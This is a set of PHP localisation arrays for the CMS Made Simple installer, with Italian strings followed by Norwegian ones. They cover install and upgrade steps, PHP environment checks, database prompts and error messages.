$lang['step2_install_dirnotempty2'] = 'Questa cartella contiene già alcuni file e/o sottocartelle.  Sebbene sia possibile installare qui CMSMS, ciò potrebbe inavvertitamente danneggiare un\'applicazione esistente.  Per favore ricontrolla i contenuti di questa cartella.  A scopo di riferimento alcuni di questi file sono elencati qui sotto.  Per favore assicurati che ciò sia esatto.';
$lang['step2_hdr_upgradeinfo'] = 'Informazioni di versione';
$lang['step2_info_upgradeinfo'] = 'Qui sotto trovi le note di rilascio disponibili e le informazioni del changelog per ogni release. Il pulsante sottostante mostrerà informazioni dettagliate su cosa è cambiato in ogni versione di CMS Made Simple. Potrebbero esserci ulteriori istruzioni od avvisi in ogni versione che potrebbero incidere sul processo di aggiornamento.';
$lang['step2_minupgradever'] = 'La versione minima dalla quale questa applicazione può effettuare l\'aggiornamento è: %s. Dovresti aggiornare la tua applicazione ad una versione più recente in più passaggi, usando un altro metodo prima di completare il processo di aggiornamento. Per favore assicurati di avere un backup completo e verificato prima di usare un qualsiasi metodo di aggiornamento.';
$lang['step2_nocmsms'] = 'Non è stata rilevata un\'installazione di CMS Made Simple in questa directory. Sembra che questa sia una nuova installazione';
$lang['step2_nofiles'] = 'Come richiesto, i file del Core di CMSMS non saranno elaborati durante questo processo';
$lang['step2_passed'] = 'Superato';
$lang['step2_pwd'] = 'La tua directory di lavoro attuale';
$lang['step2_schemaver'] = 'Versione Schema Database';
$lang['step2_version'] = 'La tua versione';
$lang['step3_failed'] = 'Questo pacchetto ha effettuato numerosi test del tuo ambiente PHP ed uno o più di questi test sono falliti. Dovrai correggere questi errori nella tua configurazione prima di continuare. Una volta corretti gli errori, clicka su "Riprova" qui sotto.';
$lang['step3_passed'] = 'Questo pacchetto ha effettuato numerosi test del tuo ambiente PHP e sono stati tutti superati. Questa è un\'ottima notizia! Sebbene non si tratti di un test onnicomprensivo, non dovresti avere difficoltà a far funzionare l\'installazione del core di CMSMS.';
$lang['step9_removethis'] = '<strong>Attenzione</strong> Per ragioni di sicurezza è importante che venga rimosso l\'installer dal tuo sito navigabile appena avrai verificato che l\'operazione abbia avuto successo.';
$lang['symbol'] = 'Simbolo';
$lang['social_message'] = 'CMS Made Simple è stato installato con successo!';
$lang['test_failed'] = 'Un test richiesto è fallito';
$lang['test_passed'] = 'Un test è stato superato <em>(i test superati vengono mostrati solo nella modalità avanzata)</em>';
$lang['test_warning'] = 'Un\'impostazione è al di sopra del valore richiesto, ma al di sotto del valore raccomandato, o...<br />Una funzionalità che potrebbe essere necessaria per qualche funzionalità opzionale non è disponibile';
$lang['th_status'] = 'Stato';
$lang['th_testname'] = 'Test';
$lang['th_value'] = 'Valore';
$lang['title_error'] = 'Houston, abbiamo un problema!';
$lang['title_step2'] = 'Passo 2 - Rilevamento software esistente';
$lang['title_step3'] = 'Passo 3 - Test';
$lang['title_step4'] = 'Passo 4 - Informazioni di base per la configurazione';
$lang['title_step5'] = 'Passo 5 - Informazioni per l\'account dell\'amministratore';
$lang['title_step6'] = 'Passo 6 - Impostazioni del sito';
$lang['title_step7'] = 'Passo 7 - Installa i file dell\'applicazione';
$lang['title_step8'] = 'Passo 8 - Lavoro sul Database';
$lang['title_step9'] = 'Passo 9 - Finito';
$lang['title_welcome'] = 'Benvenuto';
$lang['title_forum'] = 'Forum di supporto';
$lang['title_docs'] = 'Documentazione ufficiale';
$lang['title_api_docs'] = 'Documentazione API ufficiale';
$lang['to'] = 'a';
$lang['title_share'] = 'Condividi la tua esperienza con i tuoi amici.';
$lang['tmpfile'] = 'Controllo funzionamento tmpfile()';
$lang['tmp_dirs_empty'] = 'Verifica che le directory temporanee siano vuote o che non esistano';
$lang['upgrade'] = 'Aggiorna';
$lang['upgrade_deleteoldevents'] = 'Cancellazione vecchi eventi';
$lang['upgrading_schema'] = 'Aggiornamento schema database';
$lang['upload_max_filesize'] = 'Controllo dimensione massima dei file caricati';
$lang['username'] = 'Nome utente';
$lang['warn_disable_functions'] = 'Nota: una o più funzioni del core di PHP sono disabilitate. Ciò può avere un impatto negativo sulla tua installazione di CMSMS, in particolar modo con estensioni di terze parti. Per favore tieni d\'occhio il tuo error log. Le tue funzioni disabilitate sono: <br /><br />%s';
$lang['warn_max_execution_time'] = 'Sebbene il tuo tempo massimo di esecuzione di %s sia pari o superiore al valore minimo di %s, si raccomanda di aumentarlo a %s o superiore';
$lang['warn_memory_limit'] = 'Il valore del tuo limite di memoria è %s, che è al di sopra del minimo di %s. Tuttavia, si raccomanda %s';
$lang['warn_open_basedir'] = 'open_basedir è abilitato nella tua configurazione php.  Sebbene tu possa continuare, CMSMS non supporterà installazioni con restrizioni open_basedir.';
$lang['warn_post_max_size'] = 'Il valore della massima dimensione dei  post è %s, che è al di sopra del minimo di %s, tuttavia si raccomanda %s . Per favore assicurati anche che questo valore sia superiore a upload_max_filesize';
$lang['warn_tests'] = '<strong>Nota:</strong> Il superamento di tutti questi test dovrebbe garantire che CMSMS funzioni correttamente per la maggior parte dei siti. Tuttavia, col crescere del sito e l\'aggiunta di altre funzionalità, questi valori minimi potrebbero diventare insufficienti. Inoltre, moduli di terze parti potrebbero aver bisogno di altre risorse per funzionare correttamente';
$lang['warn_upload_max_filesize'] = 'Sebbene la tua impostazione di %s sia sufficiente, si raccomanda di aumentare l\'impostazione di upload_max_filesize in PHP ad almeno %s';
$lang['welcome_message'] = 'Benvenuto! Questo è il Sistema Automatico di Installazione di CMS Made Simple.  Questo pacchetto ti consentirà di avere rapidamente e facilmente la conferma che il tuo host web è compatibile con CMSMS e di installarlo od aggiornarlo alla versione più recente di CMS Made Simple.<br />Siamo sicuri che lo apprezzerai.';
$lang['wizard_step1'] = 'Benvenuto';
$lang['wizard_step2'] = 'Rilevazione software esistente';
$lang['wizard_step3'] = 'Test di compatibilità';
$lang['wizard_step4'] = 'Informazioni di configurazione';
$lang['wizard_step5'] = 'Informazioni dell\'account dell\'amministratore';
$lang['wizard_step6'] = 'Impostazioni del sito';
$lang['wizard_step7'] = 'File';
$lang['wizard_step8'] = 'Lavoro database';
$lang['wizard_step9'] = 'Finito';
$lang['xml_functions'] = 'Controllo funzionalità XML in corso';
$lang['yes'] = 'Sì';
?><?php
$lang['action_freshen'] = 'Friske opp / reparere en CMSMS %s installasjon';
$lang['action_install'] = 'Opprette en ny CMSMS %s hjemmeside';
$lang['action_upgrade'] = 'Oppgrader en CMSMS Nettstedet til versjon %s';
$lang['advanced_mode'] = 'Aktiver avansert modus';
$lang['apptitle'] = 'Installasjon og oppgraderings assistent';
$lang['assets_dir_exists'] = 'Assets katalogen eksisterer';
$lang['available_languages'] = 'Tilgjengelige språk';
$lang['build_date'] = 'Byggedato';
$lang['changelog_uc'] = 'ENDRINGSLOGG';
$lang['cleaning_files'] = 'Rens for filer som ikke lenger er aktuelt for utgivelsen';
$lang['config_writable'] = 'Test for skrivbar config fil';
$lang['confirm_freshen'] = 'Er du sikker på at du ønsker å oppfriske (reparere) den eksisterende installasjonen av CMSMS. Bruk med ekstrem forsiktighet!';
$lang['confirm_upgrade'] = 'Er du sikker på at du vil starte oppgraderingsprosessen';
$lang['curl_extension'] = 'Sjekk for Curl utvidelsen';
$lang['create_assets_structure'] = 'Oppretter en lokasjon for fil ressurser';
$lang['database_support'] = 'Sjekk for kompatible database drivere';
$lang['desc_wizard_step1'] = 'Start installasjonen eller oppgraderings prosessen';
$lang['desc_wizard_step2'] = 'Analyse av mål katalog for å finne eksisterende software';
$lang['desc_wizard_step3'] = 'Sjekk for å være sikker på at alt er OK for å installere CMSMS core/kjernen';
$lang['desc_wizard_step4'] = 'For nye installasjoner, og oppfriskings handling, oppgi grunnleggende configurasjon info';
$lang['desc_wizard_step5'] = 'For nye installasjoner, oppgi administrasjonskonto info';
$lang['desc_wizard_step6'] = 'For nye installasjoner, oppgi grunnleggende nettstedsdetaljer';
$lang['desc_wizard_step7'] = 'Pakk ut filer';
$lang['desc_wizard_step8'] = 'Opprette eller oppdatere databaseskjemaet, sett innledende handlinger, tillatelser, brukerkontoer, maler, stilark og innhold';
$lang['desc_wizard_step9'] = 'Installer og/eller oppgrader moduler om nødvendig, skrive config-filen, og rydde opp.';
$lang['destination_directory'] = 'Målkatalog';
$lang['dest_writable'] = 'Skrive rettighet i målkatalogen';
$lang['disable_functions'] = 'Avslåtte funksjoner';
$lang['done'] = 'utført';
$lang['email_accountinfo_message'] = 'Din installasjon av CMS Made Simple er ferdig.

Denne e-posten inneholder sensitiv informasjon, og bør oppbevares på et sikkert sted.

Her er detaljene for din installasjon.
brukernavn: %s
passord: %s
installasjonskatalog: %s
root url: %s';
$lang['email_accountinfo_message_exp'] = 'Din installasjon av CMS Made Simple er ferdig.

Denne e-posten inneholder sensitiv informasjon, og bør oppbevares på et sikkert sted.

Her er detaljene for din installasjon.
brukernavn: %s
passord: %s
installasjonskatalog: %s';
$lang['email_accountinfo_subject'] = 'Installasjon av CMS Made Simple var vellykket';
$lang['emailaccountinfo'] = 'Send kontoinformasjonen via e-post';
$lang['emailaddr'] = 'E-postadresse';
$lang['error_adminacct_emailaddr'] = 'E-posten du oppgav er ugyldig';
$lang['error_adminacct_emailaddrrequired'] = 'Du har valgt å sende kontoinformasjonen, men har ikke lagt inn en gyldig e-postadresse';
$lang['error_adminacct_password'] = 'Passordet er ugyldig (må være minst seks tegn)';
$lang['error_adminacct_repeatpw'] = 'Passordene samsvarte ikke.';
$lang['error_adminacct_username'] = 'Brukernavnet er ugyldig. Vennligst prøv igjen';
$lang['error_admindirrenamed'] = 'Det ser ut til at av sikkerhetsmessige grunner så har du kanskje omdøpt din CMSMS admin katalog. Du må reversere <a href="http://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder" target="_blank" class="external"> denne prosessen</a> for å fortsette!';
$lang['error_backupconfig'] = 'Vi kunne ikke skikkelig ta sikkerhetskopi av config-filen';
$lang['error_checksum'] = 'Utpakket fil checksum samsvarer ikke med original';
$lang['error_cmstablesexist'] = 'Det ser ut til at det allerede er en CMS installasjon på denne databasen. Vennligst oppgi annen databaseinformasjon. Hvis du ønsker å bruke en annen tabell prefix vil du måtte restarte installasjonsprosessen og aktivere avansert modus.';
$lang['error_createtable'] = 'Problem med å opprette databasetabell... mulig dette er et rettighetsproblem';
$lang['error_dbconnect'] = 'Vi kunne ikke koble til databasen. Vennligst dobbeltsjekk legitimasjonen du har oppgitt';
$lang['error_dirnotvalid'] = 'Katalogen %s finnes ikke (eller så er den ikke skrivbar)';
$lang['error_droptable'] = 'Problem fjerne databasetabell ... kanskje dette er et problem med tillatelser';
$lang['error_filenotwritable'] = 'Filen %s kunne ikke overskrives (tillatelses problem)';
$lang['error_internal'] = 'Beklager, noe har gått galt ... (intern feil) (%s)';
$lang['error_invalid_directory'] = 'Det ser ut til at den katalogen du har valgt å installere i er en arbeidskatalog for installatøren selv';
$lang['error_invalidconfig'] = 'Feil i config-filen, eller config fil mangler';
$lang['error_invaliddbpassword'] = 'Database passord inneholder ugyldige tegn som ikke trygt kan lagres.';
$lang['error_invalidkey'] = 'Ugyldig medlemsvariabel eller nøkkel %s for klasse %s';
$lang['error_invalidparam'] = 'Ugyldig parameter eller verdi for parameter: %s';
$lang['error_invalidtimezone'] = 'Tidssonen er ugyldig';
$lang['error_invalidqueryvar'] = 'Forespørselvariabelen inneholder ugyldige tegn. Bruk bare alfanumeriske tegn og understrek.';
$lang['error_missingconfigvar'] = 'Nøkkelen "%s" enten mangler eller er ugyldig i filen config.ini';
$lang['error_noarchive'] = 'Problem med å finne arkivfilen ... vennligst start på nytt';
$lang['error_nlsnotfound'] = 'Problemer med å finne NLS filer i arkivet';
$lang['error_nodatabases'] = 'Ingen kompatible database utvidelser ble funnet';
$lang['error_nodbhost'] = 'Vennligst skriv inn et gyldig vertsnavn (eller IP-adresse) for databasetilkoblingen';
$lang['error_nodbname'] = 'Vennligst skriv inn navnet på en gyldig database på verten angitt ovenfor';
$lang['error_nodbpass'] = 'Vennligst skriv inn et gyldig passord for å autentisere til databasen';
$lang['error_nodbprefix'] = 'Vennligst skriv inn et gyldig prefiks for databasetabeller';
$lang['error_nodbtype'] = 'Vennligst velg en database type';
$lang['error_nodbuser'] = 'Vennligst skriv inn et gyldig brukernavn for autentisering til databasen';
$lang['error_nodestdir'] = 'Målkatalog ikke satt';
$lang['error_nositename'] = 'Nettstedsnavn er en nødvendig parameter. Vennligst skriv inn et passende navn på ditt nettsted.';
$lang['error_notimezone'] = 'Vennligst skriv inn en gyldig tidssone for denne serveren';
$lang['error_overwrite'] = 'Tillatelsesproblem: kan ikke overskrive %s';
$lang['error_sendingmail'] = 'Feil ved sending av e-post';
$lang['error_tzlist'] = 'Et problem oppstod med å hente listen med tidssone identifikatorer';
$lang['errorlevel_estrict'] = 'Tester for E_STRICT';
$lang['errorlevel_edeprecated'] = 'Tester for E_DEPRECATED';
$lang['edeprecated_enabled'] = 'E_DEPRECATED er aktivert i PHP\'s error_reporting. Selv om dette ikke vil hindre CMSMS fra drift kan det resultere i at advarsler blir vist i utdataene. Spesielt fra eldre tredjeparts moduler';
$lang['estrict_enabled'] = 'E_STRICT er aktivert i PHP\'s error_reporting. Selv om dette ikke vil hindre CMSMS fra drift, kan det resultere i advarsler blir vist i HTML-visning. Spesielt fra eldre tredjeparts moduler';
$lang['fail_assets_dir'] = 'En eiendel katalog finnes allerede. Dette programmet kan skrive til denne katalogen for å rasjonere plasseringen av filene. Vennligst sørg for at du har en sikkerhetskopi';
$lang['fail_assets_msg'] = 'En eiendeler katalog finnes allerede. Denne applikasjonen kan skrive til denne katalogen for å rasjonalisere plasseringen av filer. Sørg for at du har en sikkerhetskopi';
$lang['fail_config_writable'] = 'HTTP-prosessen kan ikke skrive til config.php filen. Vennligst prøv å endre tillatelsene på denne filen til 777 inntil oppgraderingen er fullført';
$lang['fail_curl_extension'] = 'Curl utvidelsen er ikke funnet. Selv om ikke dette er et kritisk problem så kan dette føre til problemer med enkelte tredjeparts moduler';
$lang['fail_database_support'] = 'Ingen Kompatible database drivere funnet';
$lang['fail_file_get_contents'] = 'file_get_contents funksjonen finnes ikke, eller er deaktivert. CMSMS Kan ikke fortsette (selv installasjonsprogrammet vil sannsynligvis mislykkes)';
$lang['fail_file_uploads'] = 'Opplasting funksjoner er deaktivert i dette miljøet. Flere funksjoner i CMSMS vil ikke fungere i dette miljøet';
$lang['fail_func_json'] = 'json funksjonalitet ble ikke funnet';
$lang['fail_func_gzopen'] = 'gzopen funkjson ble ikke funnet';
$lang['fail_func_md5'] = 'md5 funksjonalitet ble ikke funnet';
$lang['fail_func_tempnam'] = 'tempnam funksjonen finnes ikke. Dette er en nødvendig funksjon for CMSMS funksjonaliteten';
$lang['fail_func_ziparchive'] = 'ZipArchive funksjonalitet ble ikke funnet. Dette kan begrense funksjonaliteten';
$lang['fail_ini_set'] = 'Det ser ut til at vi ikke kan endre ini innstillinger. Dette kan føre til problemer i tredjeparts moduler (eller ved aktivering av debug-modus)';
$lang['fail_intl_support'] = 'PHP internasjonaliseringsutvidelse er ikke tilgjengelig';
$lang['fail_magic_quotes_runtime'] = 'Det ser ut til at magic quotes(/magiske sitater) er aktivert i konfigurasjonen. Vennligst deaktivere dette og prøv på nytt';
$lang['fail_max_execution_time'] = 'Din maks Execution time på %s oppfyller ikke minimumsverdien på %s. Vi anbefaler deg å øke det til %s eller høyere';
$lang['fail_memory_limit'] = 'Memory Limit grenseverdien er for lav. Du hadde %s, men et minimum på %s er nødvendig, og %s er anbefalt';
$lang['fail_multibyte_support'] = 'Multibyte støtte er ikke aktivert i din konfigurasjon';
$lang['fail_output_buffering'] = 'Output Buffering(/Mellomlagring av utdata) er ikke aktivert.';
$lang['fail_open_basedir'] = 'Open basedir restriksjoner er i kraft. CMSMS krever at dette skal være deaktivert';
$lang['fail_php_version'] = 'Versjonen av PHP tilgjengelig for CMSMS er av kritisk betydning. Minste aksepterte versjonen er %s, men vi anbefaler %s eller høyere. Du har %s';
$lang['fail_post_max_size'] = 'Din Post max size(/innlegg maks størrelse) på %s oppfyller ikke minimumsverdien på %s. Du må øke til påkrevd minimum. Men du bør øke den til %s og også sikre at det er større enn upload_max_filesize';
$lang['fail_pwd_writable2'] = 'HTTP-prosessen må være i stand til å skrive til destinasjons katalogen (og til alle filer og kataloger under den) for å installere filer. Vi har ikke skrivetilgang til (minst) %s';
$lang['fail_register_globals'] = 'Vennligst deaktiver Register Globals i din PHP konfigurasjon';
$lang['fail_remote_url'] = 'Vi fikk problemer med å koble til en ekstern URL. Dette vil begrense noe av funksjonaliteten i CMS Made Simple';
$lang['fail_safe_mode'] = 'CMSMS vil ikke fungere skikkelig i et miljø hvor sikkermodus er aktivert. Bare så dere vet: Sikkermodus er foreldet som en mislykket mekanisme, og vil bli fjernet i fremtidige versjoner av PHP';
$lang['fail_session_save_path_exists'] = 'Session save path variabelverdien er ugyldig eller mappen finnes ikke';
$lang['fail_session_save_path_writable'] = 'Session save path katalogen er ikke skrivbar';
$lang['fail_session_use_cookies'] = 'Sessijoner er IKKE satt til å benytte cookies';
$lang['fail_tmpfile'] = 'Systemets tmpfile() -funksjon fungerer ikke. Dette er nødvendig for å tillate oss å trekke ut arkiver. Det valgfrie TMPDIR url argumentet kan gis for installasjonsprogrammet for å spesifisere en skrivbar katalog. Se README-filen som bør være i inkludert i denne katalogen.';
$lang['fail_tmp_dirs_empty'] = 'De CMSMS Midlertidige kataloger <em>(tmp/cache and tmp/templates_c) eksisterer, og er ikke tom. Vennligst fjern eller tømme dem';
$lang['fail_xml_functions'] = 'XML utvidelsen ble ikke funnet. Vennligst aktiver dette i ditt PHP miljø';
$lang['failed'] = 'feilet';
$lang['file_get_contents'] = 'Testing av file_get_contents funksjonen';
$lang['file_installed'] = 'Installert %s';
$lang['file_uploads'] = 'Testing for filopplasting støtte';
$lang['finished_custom_freshen_msg'] = 'Installasjonen har blitt oppfrisket! Kjerne filene har blitt oppdatert, og en ny config-fil er opprettet. Vennligst besøk nettstedet ditt for å forsikre at alt fungerer som det skal';
$lang['finished_custom_install_msg'] = 'Hva! Vi er klare. Vennligst besøk nettstedet og logg inn i administrasjonspanelet';
$lang['finished_custom_upgrade_msg'] = 'Hva! Alt er ferdig. Vennligst besøk ditt CMSMS Admin panel, og frontend for å sikre at alt fungerer som det skal <br/><strong> Hint: </strong> Nå er et godt tidspunkt å ta en ny backup.';
$lang['finished_freshen_msg'] = 'Installasjonen har blitt oppfrisket! Kjerne filene har blitt oppdatert, og en ny config-filen er opprettet. Du kan nå <a href="%s">besøke nettstedet ditt</a> eller logge inn på <a href="%s">CMSMS Admin panelet</a>.';
$lang['finished_install_msg'] = 'Hva! Vi er klare. Du kan nå <a href="%s">besøke nettstedet ditt</a> eller logge inn på <a href="%s">CMSMS admin panelet</a>.';
$lang['finished_upgrade_msg'] = 'Hva! Alt er klart. Vennligst besøk ditt <a href="%s">nettsteds frontend</a> og <a href="%s">Admin panel</a> for å verifisere korrekt oppførsel. Du må kanskje også oppgradere noen tredjeparts moduler <br/><strong>Hint:</strong> Husk å ta en ny backup etter å ha kontrollert korrekt oppførsel.';
$lang['freshen'] = 'Oppfriske (reparere) installasjon';
$lang['func_json'] = 'Sjekke for JSON koding og dekoding';
$lang['func_md5'] = 'Sjekke for md5 funksjonalitet';
$lang['func_tempnam'] = 'Sjekk for tempnam funksjon';
$lang['func_gzopen'] = 'Sjekk for gzopen funksjon';
$lang['func_ziparchive'] = 'Sjekk for ziparchive funksjon';
$lang['gd_version'] = 'GD versjon';
$lang['goback'] = 'Tilbake';
$lang['info_addlanguages'] = 'Velg språk (i tillegg til engelsk) som skal installeres. <strong>Merk:</strong> ikke alle oversettelser er fullført.';
$lang['info_adminaccount'] = 'Vennligst oppgi legitimasjon for den første administratorkontoen. Denne kontoen vil ha tilgang til all funksjonalitet i CMSMS admin konsollen.';
$lang['info_advanced'] = 'Avansert modus gir flere alternativer i installasjonsprosedyren.';
$lang['info_dbinfo'] = 'CMS Made Simple lagrer mye data i databasen. En database tilkobling er obligatorisk. I tillegg bør den brukerlegitimasjonen du leverer har alle privilegier på den angitte databasen for å tillate oppretting, sletting og endring av tabeller, indekser og visninger.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED er et flagg for php\'s feilrapportering som indikerer at advarsler skal vises om kode som bruker utdaterte teknikker. For CMSMS kjernen forsøker vi å sikre at vi ikke lenger bruker utdaterte teknikker, noen moduler kanskje ikke følger opp dette. Vi anbefaler at denne innstillingen deaktiveres i PHP-konfigurasjonen';
$lang['info_errorlevel_estrict'] = 'E_STRICT er et flagg for php\'s feilrapportering som viser at strenge kodestandarder bør respekteres. Selv om CMSMS kjernen forsøker å samsvare med E_STRICT standarder så mulig enkelte moduler ikke er det. Vi anbefaler at denne innstillingen deaktiveres i PHP-konfigurasjonen';
$lang['info_installcontent'] = 'Som standard vil dette installasjonsprogrammet skape en rekke eksempler på sider, stilark og maler i CMSMS. Prøveinnholdet gir omfattende informasjon og tips til hjelpe i å bygge nettsteder med CMSMS og er nyttig å lese. Hvis du allerede er kjent med CMS Made Simple så vil deaktivering av dette alternativet vil bare opprette et minimalt sett med maler, stilark og innholdssider.';
$lang['info_open_basedir_session_save_path'] = 'open_basedir er aktivert i din PHP konfigurasjon. Vi kunne ikke skikkelig teste session evner. Men det å komme til dette punktet i installasjonsprosessen indikerer trolig at øktene jobber greit.';
$lang['info_pwd_writable'] = 'Denne applikasjonen krever skrivetilgang til gjeldende arbeidskatalog';
$lang['info_queryvar'] = 'Spørringsvariabelen brukes internt av CMSMS for å identifisere den forespurte siden. I de fleste tilfeller har du ikke behov for å endre denne.';
$lang['info_sitename'] = 'Nettstedsnavnet brukes i standardmaler som en del av tittelen. Vennligst skriv inn et lesbart navn for nettstedet';
$lang['info_timezone'] = 'Tidssone informasjon er nødvendig for tidsberegning og tid/datovisning. Vennligst velg server tidssone';
$lang['ini_set'] = 'Test om vi kan endre INI-instillinger';
$lang['install'] = 'Installer';
$lang['install_attachstylesheets'] = 'Koble stilark til tema';
$lang['install_backupconfig'] = 'Sikkerhetskopierer config-filen';
$lang['install_createassets'] = 'Opprett eiendel struktur';
$lang['install_created_index'] = 'Opprettet indeks %s ... %s';
$lang['install_create_tables'] = 'Oppretter database tabeller';
$lang['install_createconfig'] = 'Oppretter ny config-fil';
$lang['install_createcontentpages'] = 'Oppretter nye innholdssider';
$lang['install_created_table'] = 'Opprettet tabell %s: .... %s';
$lang['install_createtablesindexes'] = 'Oppretter tabeller og indekser';
$lang['install_createtmpdirs'] = 'Oppretter midlertidige kataloger';
$lang['install_creating_index'] = 'Opprettet indeks %s';
$lang['install_default_collections'] = 'Installer standard samlinger';
$lang['install_defaultcontent'] = 'Installer standard innhold';
$lang['install_detectlanguages'] = 'Oppdag installerte språk';
$lang['install_dropping_tables'] = 'Fjern tabeller';
$lang['install_dummyindexhtml'] = 'Opprett dummy index.html filer';
$lang['install_extractfiles'] = 'Pakk ut filer fra arkivet';
$lang['install_initevents'] = 'Opprett hendelser';
$lang['install_initsitegroups'] = 'Opprett innledende grupper';
$lang['install_initsiteperms'] = 'Sett innledende rettigheter';
$lang['install_initsiteprefs'] = 'Sett innledende nettsteds-innstillinger';
$lang['install_initsiteusers'] = 'Opprett innledende brukerkontoer';
$lang['install_initsiteusertags'] = 'Innledende brukerdefinerte tagger';
$lang['install_module'] = 'Installer modul %s';
$lang['install_modules'] = 'Installer tilgjengelige moduler';
$lang['install_passwordsalt'] = 'Sett passord salting';
$lang['install_requireddata'] = 'Sett innledende påkrevd data';
$lang['install_schema'] = 'Opprett database sjema';
$lang['install_setschemaver'] = 'Sett skjema versjon';
$lang['install_setsequence'] = 'Tilbakestill sekvens tabeller';
$lang['install_setsitename'] = 'Sett nettstedsnavn';
$lang['install_stylesheets'] = 'Opprett standard stilark';
$lang['install_templates'] = 'Opprett standaard maler';
$lang['install_templatetypes'] = 'Opprett standard maltyper';
$lang['install_update_sequences'] = 'Oppdater sekvens tabeller';
$lang['install_updatehierarchy'] = 'Oppdater innholdets hierarkiposisjoner';
$lang['install_updateseq'] = 'Oppdater sekvens for %s';
$lang['installer_ver'] = 'Installer versjon';
$lang['intl_support'] = 'Se etter internasjonaliseringsevner';
$lang['legend'] = 'Forklaring';
$lang['magic_quotes_runtime'] = 'Forsikrer oss om at magiske sitater er deaktivert';
$lang['max_execution_time'] = 'Kontrollere PHP-script maks Utføringstid';
$lang['meaning'] = 'Betydning';
$lang['memory_limit'] = 'Sjekker for tilstrekkelig PHP minnegrense';
$lang['msg_clearedcache'] = 'Tømte serverens mellomlager';
$lang['msg_configsaved'] = 'Eksisterende config-fil lagret til %s';
$lang['msg_upgrade_module'] = 'Oppgraderer mdodul %s';
$lang['msg_upgrademodules'] = 'Oppgraderer moduler';
$lang['msg_yourvalue'] = 'Du har: %s';
$lang['multibyte_support'] = 'Sjekker for multibyte støtte';
$lang['next'] = 'Neste';
$lang['no'] = 'Nei';
$lang['none'] = 'Ingen';
$lang['open_basedir'] = 'open_basedir restriksjoner';
$lang['open_basedir_session_save_path'] = 'open_basedir er aktivert. Kan derfor ikke teste session save path.';
$lang['output_buffering'] = 'Forsikrer oss om at output buffering er slått på';
$lang['pass_config_writable'] = 'HTTP-prosessen har skriverettighet til config-filen';
$lang['pass_database_support'] = 'Minst en kompatibel database driver er funnet';
$lang['pass_func_json'] = 'json funksjonalitet oppdaget';
$lang['pass_func_md5'] = 'md5 funksjonalitet er oppdaget';
$lang['pass_func_tempnam'] = 'tempnam funksjonen sksisterer';
$lang['pass_intl_support'] = 'Internasjonaliseringsevner ser ut til å være aktivert';
$lang['pass_memory_limit_nolimit'] = 'Det er ingen forhåndsinnstilte PHP minnegrense';
$lang['pass_multibyte_support'] = 'Multibyte støtte ser ut til å være slått på';
$lang['pass_php_version'] = 'PHP versjonen som er konfigurert oppfyller ikke minimumskravene. Som et minimum er PHP %s nødvendig, men vi anbefaler %s eller høyere';
$lang['pass_pwd_writable'] = 'HTTP-prosessen kan skrive i destinasjons katalogen. Dette er nødvendig for ekstrahere filer';
$lang['password'] = 'Passord';
$lang['ph_sitename'] = 'Oppgi ett nettstedsnavn';
$lang['php_version'] = 'PHP versjon';
$lang['post_max_size'] = 'Sjekker den maksimale mengden av data som kan bli sendt i en forespørsel';
$lang['prompt_addlanguages'] = 'Andre språk';
$lang['prompt_createtables'] = 'Oppretter databasetabeller';
$lang['prompt_dbhost'] = 'Database vertsnavn';
$lang['prompt_dbinfo'] = 'Database informasjon';
$lang['prompt_dbname'] = 'Databasenavn';
$lang['prompt_dbpass'] = 'Passord';
$lang['prompt_dbport'] = 'Database portnummer';
$lang['prompt_dbprefix'] = 'Database tabellnavn prefiks';
$lang['prompt_dbtype'] = 'Databasetype';
$lang['prompt_dbuser'] = 'Brukernavn';
$lang['prompt_dir'] = 'Installasjonskatalog';
$lang['prompt_installcontent'] = 'Installer eksempelinnhold';
$lang['prompt_queryvar'] = 'Spørringsvariabel';
$lang['prompt_sitename'] = 'Nettstedsnavn';
$lang['prompt_timezone'] = 'Server tidssone';
$lang['pwd_writable'] = 'Katalog skrivbar';
$lang['queue_for_upgrade'] = 'Lagt i kø ikke kjerne modul %s for oppgradering på neste trinn.';
$lang['readme_uc'] = 'LESMEG';
$lang['register_globals'] = 'Forsikrer oss om at "register globals" er deaktivert';
$lang['remote_url'] = 'Urgående HTTP koblinger';
$lang['repeatpw'] = 'Gjenta passord';
$lang['reset_site_preferences'] = 'Tilbakestill noen nettstedspreferanser';
$lang['reset_user_settings'] = 'Tilbakestill bruker preferanser';
$lang['retry'] = 'Forsøk igjen';
$lang['safe_mode'] = 'Test for å sikre "safe mode" er deaktivert';
$lang['saltpasswords'] = 'Salt passord';
$lang['select_language'] = 'Det første vi vil be deg om å gjøre er å velge språk fra listen nedenfor. Dette vil bli brukt til å forbedre din opplevelse under installasjonen, men vil ikke påvirke din CMSMS installasjon.';
$lang['send_admin_email'] = 'Send admin påloggingsinformasjon e-post';
$lang['session_capabilities'] = 'Teste for riktige sesjons evner (økter bruker cookies og session save path er skrivbar, osv.)';
$lang['session_save_path_exists'] = 'Session_save_path eksisterer';
$lang['session_save_path_writable'] = 'Session_save_path er skrivbar';
$lang['session_use_cookies'] = 'Forsikrer oss om at PHP sesjoner benytter cookies';
$lang['sometests_failed'] = 'Vi har utført en rekke tester av din nåværende web-miljø. Selv om ingen kritiske spørsmål ble funnet, anbefaler vi at følgende elementer rettes opp før du fortsetter.';
$lang['step1_advanced'] = 'Avansert modus';
$lang['step1_destdir'] = 'Velg katalog';
$lang['step1_info_destdir'] = '<strong>Advarsel:</strong> Dette programmet kan installere eller oppgradere flere installasjoner av CMS Made Simple. Det er viktig at du velger riktig katalog for installasjon eller oppgradering.';
$lang['step1_language'] = 'Velg språk';
$lang['step1_title'] = 'Velg språk';
$lang['step2_cmsmsfound'] = 'En installasjon av CMS Made Simple ble funnet. Det er mulig å oppgradere denne installasjonen. Men før du går videre påse at du har en gjeldende, verifisert sikkerhetskopi av alle filer og av databasen';
$lang['step2_cmsmsfoundnoupgrade'] = 'Selv om en installasjon av CMS Made Simple ble funnet, er det ikke mulig å oppgradere denne versjonen ved hjelp av dette programmet. Versjonen kan være for gammel.';
$lang['step2_confirminstall'] = 'Er du sikker på at du vil installere CMS Made Simple';
$lang['step2_confirmupgrade'] = 'Er du sikker på at du vil oppgradere CMS Made Simple';
$lang['step2_errorsamever'] = 'Den valgte katalogen ser ut til å inneholde en CMSMS installasjon med den samme versjonen som er inkludert i dette skriptet. Å fortsette vil oppfriske installasjonen.';
$lang['step2_errortoonew'] = 'Den valgte katalogen ser ut til å inneholde en CMSMS installasjon med en nyere versjon enn som er inkludert i dette skriptet. Vi kan ikke fortsette';
